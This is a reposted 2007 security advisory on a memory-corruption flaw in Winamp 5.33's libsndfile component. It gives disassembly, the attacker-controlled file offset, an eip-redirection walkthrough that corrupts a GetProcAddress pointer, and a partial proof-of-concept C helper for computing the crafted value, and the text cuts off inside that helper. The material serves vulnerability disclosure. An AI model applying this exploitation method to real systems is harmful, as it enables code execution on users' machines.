Home / vulnerabilities nullsoft-winamp-libsndfile-adv.txt
Posted on 08 April 2007
Source : packetstormsecurity.org Link
AOL Nullsoft Winamp LIBSNDFILE.DLL Remote Memory Corruption (Off By Zero)
by Piotr Bania <bania.piotr@gmail.com>
http://www.piotrbania.com
Severity: Critical - Possible remote code execution.
Software affected: Tested on AOL Nullsoft Winamp v5.33 (x86) Feb 13 2007
(on Windows XP SP1/SP2).
There exist a large possiblity that any other
software that is using the LIBSNDFILE.DLL component
should be considered as vulnerable.
Orginal url: http://www.piotrbania.com/all/adv/nullsoft-winamp-libsndfile-adv.txt
0. DISCLAIMER
Author takes no responsibility for any actions with provided informations or
codes. The copyright for any material created by the author is reserved. Any
duplication of codes or texts provided here in electronic or printed
publications is not permitted without the author's agreement.
I. BACKGROUND
AOL Nullsoft is the most popular multimedia player in the world.
Libsndfile.dll is a one of Winamp components.
II. DESCRIPTION
The problem takes place when Winamp is trying to play specially
crafted .MAT (MATLAB SOUND FILE).
Take a look a this code snipet:
----// SNIP SNIP //-------------------------------------------------
.text:1000CCED cmp [ebp+MY_DWORD], 40h ; (1)
.text:1000CCF1 jl short kont
.text:1000CCF3
.text:1000CCF3 loc_1000CCF3: ; CODE XREF: sub_1000CB3B+BAj
.text:1000CCF3 push 7Ah
.text:1000CCF5 jmp faked
.text:1000CCFA ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦
.text:1000CCFA
.text:1000CCFA kont: ; CODE XREF: sub_1000CB3B+1B6j
.text:1000CCFA push [ebp+MY_DWORD]
.text:1000CCFD lea eax, [ebp+var_64]
.text:1000CD00 push eax
.text:1000CD01 push ebx ; int
.text:1000CD02 push esi ; DistanceToMoveHigh
.text:1000CD03 call sub_10025A28
.text:1000CD08 mov eax, [ebp+MY_DWORD]
.text:1000CD0B mov byte ptr [ebp+eax+var_64], 0 ; (2)
----// SNIP SNIP //-------------------------------------------------
Here, MY_DWORD value is completly controled by the attacker and it is stored at
offset 0x39 from begining of the attached .mat files.
As you can see, the block (1) is very important since, the memory overwrite
will not occur when MY_DWORD value will be greater or equal to 0x40.
The way of computing memory address at block (2), leads as to following basic
math assumptions:
1) x < 0x40
2) y = ebp + x - 0x64
Where:
x - our param (MY_DWORD)
y - final overwrite address
Then after few simple calculations, we should have got a dimension for *y*
(final address), since the *x* dimension is limited by 0x40.
So here we have:
** y < ebp - 0x64 + 0x40 **
that means for example, if we consider EBP is equal to 0x010CFB7C, we got:
** y < 0x10CFB58 **
It shortly means that the final address that we can compute from our
MY_DWORD value, must be lower then 0x10CFB58. That surely make the exploitaiton
harder since we are limited to the memory lower then 0x10CFB58. If we consider
only the modules, which are loaded together with the target process we should
have some that suits our needs:
----// SNIP SNIP //-------------------------------------------------
Executable modules
Base Size Entry Name File version Path
00400000 00125000 0045FD3E winamp 5,3,3,1100 winamp.exe
00C70000 00012000 00C7D8B5 png png.w5s
00C90000 00056000 00C9229F MSVCR71 7.10.3052.4 MSVCR71.dll
00D00000 0005E000 00D1ADD2 in_APE 3.99 in_APE.dll
00E00000 0004F000 00E0E54E in_cdda in_cdda.dll
00E50000 0001B000 00E5F124 in_midi in_midi.dll
00E70000 0001B000 00E80FFC read_fil read_file.dll
00E90000 0002B000 00EA77EF in_mod in_mod.dll
00EC0000 00008000 00EC3B89 in_mp4 in_mp4.dll
00ED0000 00028000 00EE7CF2 libmp4v2 libmp4v2.dll
00F00000 0003D000 00F3B640 in_mpc in_mpc.dll
00F40000 0003E000 00F5ED76 in_vorbi in_vorbis.dll
00F80000 00007000 00F814FC in_wave in_wave.dll
00F90000 0003D000 00FBAA8F libsndfi libsndfile.dll
----// SNIP SNIP //-------------------------------------------------
As you can see we have some modules which are available for our needs (mainly
they are mapped below the limits we have). As you probably know, we can only
overwrite a single byte with a single NULL byte.
For a little EIP redirection example of mine, lets consider following
sitatution. Here, we have pretty interresting datas from WINAMP.EXE:
(DATA section stays writeable)
----// SNIP SNIP //-------------------------------------------------
...
.data:00472F14 ; sub_456A06+Bo ...
.data:00472F18 ; __int32 off_472F18
.data:00472F18 off_472F18 dd offset sub_456566 ; DATA XREF: sub_40340C+58r
.data:00472F18 ; sub_4543E8+59r ...
.data:00472F1C ; __int32 off_472F1C
.data:00472F1C off_472F1C dd offset sub_4565D5 ; DATA XREF: sub_406220+49r
.data:00472F1C ; sub_406587+BEr ...
.data:00472F20 ; __int32 off_472F20
.data:00472F20 off_472F20 dd offset sub_45668E ; DATA XREF: sub_4097F4+B1r
.data:00472F20 ; sub_45668E+Bo ...
...
----// SNIP SNIP //-------------------------------------------------
The off_472F1C is infact:
----// SNIP SNIP //-------------------------------------------------
00472F1C A0 AD 80 7C €|
----// SNIP SNIP //-------------------------------------------------
which is a pointer to KERNEL32.DLL!GetProcAddress API function.
In this case (consider we want to overwrite this data entry) we can
make the following redirections:
1) 7C80ADA0 -> 0080ADA0
2) 7C80ADA0 -> 7C00ADA0
3) 7C80ADA0 -> 7C8000A0
4) 7C80ADA0 -> 7C80AD00
That means, that when WINAMP.EXE will try to call the GetProcAddress
function ((from the pointer it has), it will fly to the address we have
modified:
To see the example run EIP_FLOW.mat, and monitor all the EDI values
at 0x00425127.
----// SNIP SNIP //-------------------------------------------------
.text:004250E8 mov edi, off_472F1C ; <-- OUR MODIFIED OFFSET
...
.text:00425127 call edi ; <-- EXECUTION
----// SNIP SNIP //-------------------------------------------------
In this example you should be redirected to 0x7C00ADA0.
** Access violation when executing [7C00ADA0] **
Of course there exist also another possiblity, where attacker can modify
the stack space directly (since the stack here is correct for our limits),
Of course i not mean here the stack of LIBSNDFILE module, because it not suits
our needs (0x010CFFFC is too much).
There are probably much more importants areas there. Attacker should
choose the best way.
III. POC CODES
If you didnt see the correct result of eip_flow.mat, you may need to recalculate
the address at offset 0x39, with your value of EBP register. You can grab it
while launching poc.mat.
Here's a little proggy for computing X value (the one at 0x39 offset):
----// SNIP SNIP //-------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
/* modify this for your own EBP */
unsigned long ebp = 0x010CFB7C;
#define give_addr(x) (unsigned long)(x - ebp + 0x64)
long ConvertHexStrToLong( char* s );
int main(int argc,char *argv[])
{
unsigned long out = give_addr(ConvertHexStrToLong(argv[1]));
printf("[*] X is: 0x%.08x
",out);
if (((signed)out>= 0x40))
printf("[*] WARNING THE X VALUE IS NOT VALID (COLLIDING LIMITS)
");
else
printf("[*] X VALUE IS OK!!!
");
return 0;
}
long ConvertHexStrToLong( char* s )
{
int hexDigit[] = { 10, 11, 12, 13, 14, 15 };
long n = 0;
char c = *s++;
while( c != '